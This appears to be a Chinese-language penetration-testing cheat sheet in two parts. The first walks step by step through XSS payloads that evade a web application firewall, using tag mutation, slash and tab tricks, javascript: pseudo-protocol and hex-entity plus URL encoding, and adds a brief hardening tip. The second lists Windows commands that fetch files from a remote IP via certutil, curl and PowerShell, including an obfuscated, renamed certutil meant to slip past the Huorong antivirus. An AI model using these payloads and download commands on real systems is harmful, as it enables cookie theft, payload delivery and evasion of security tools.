XSS绕过防护
payload的选择:
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image/src=| onerror = javascript:alert(document.cookie)>
如果用XSS字典去FUZZ测试
优点:高效
缺点:只能测试反射型XSS,被拦截的可能性很大
对于<script>
这种的payload,如果不是变形的,基本上现在随便一个WAF设备都能准确识别了,存活的可能性比较低。
所以用<img src=1 onerror=alert(1)>
,但是alert关键字太明显
变形:
<img>
可以变成<image>
<image src=>
中间只要有空格、TAB键都会被拦截,所以换成这种形式<image/src=>
,用/
这个符号替代空格。src=
的右边只要是数字、字母啥的,就会被拦截
。经过测试,发现src=
右边是可以接特殊字符串
的,所以语句变成如下格式<image/src=|>
(注:这个是特殊字符竖杠,不是字母或者数字),这样就绕过了防护。onerror=alert(111)
在=号左右两边加上TAB键,变成如下格式onerror = alert(111)可以绕过=附近的拦截alert(111)
这个部分还是会被拦截,借助javascript:伪协议
,因为javascript:这部分可以接各种编码,之后测试的payload变成如下格式<images/src=| onerror = javascript:alert(111)>
javascript:alert(111)
编码成16进制格式:
javascript:alert(111)
把;
去掉,一样是可以触发漏洞的,(为什么会拦截;呢,我想它的本意不是为了拦截XSS,是为了拦截多语句的SQL注入的分号。)- 直接用burpsuite抓包提交是不行的,因为&会与POST请求数据包中的&分割符重复,这个好解决,可以对payload进行URL编码一样吧。
- URL编码后的payload大致如下所示:
<image/src=| onerror = %26%23%78%36%61%26%23%78%36%31%26%23%78%37%36%26%23%78%36%31%26%23%78%37%33%26%23%78%36%33%26%23%78%37%32%26%23%78%36%39%26%23%78%37%30%26%23%78%37%34%26%23%78%33%61%26%23%78%36%31%26%23%78%36%63%26%23%78%36%35%26%23%78%37%32%26%23%78%37%34%26%23%78%32%38%26%23%78%33%31%26%23%78%33%31%26%23%78%33%31%26%23%78%32%39>
加固
- 禁止管理员后台的外网登录,限制仅内网可以登录
- 设置HttpOnly
windows命令行远程下载文件
方法一
certutil -urlcache -split -f http://xx.xx.xx.xx/test.zip c:\test.zip (windows远程下载文件至本地,仅需要一个cmd执行的地方)
方法二
curl http://xx.xx.xx.xx/test.zip -o c:\test.zip
方法三
绕最新版火绒下载(2022年9月24日):修改C:\Windows\System32下的certutil.exe为c.exe
c.exe -U^R""""L""""C^a""""c""""h^e -s^p""""l""""i^t -f http://x.x.x.x/1.txt
方法四
powershell -c "invoke-webrequest -uri http://xx.xx.xx.xx/test.zip -outfile test.zip"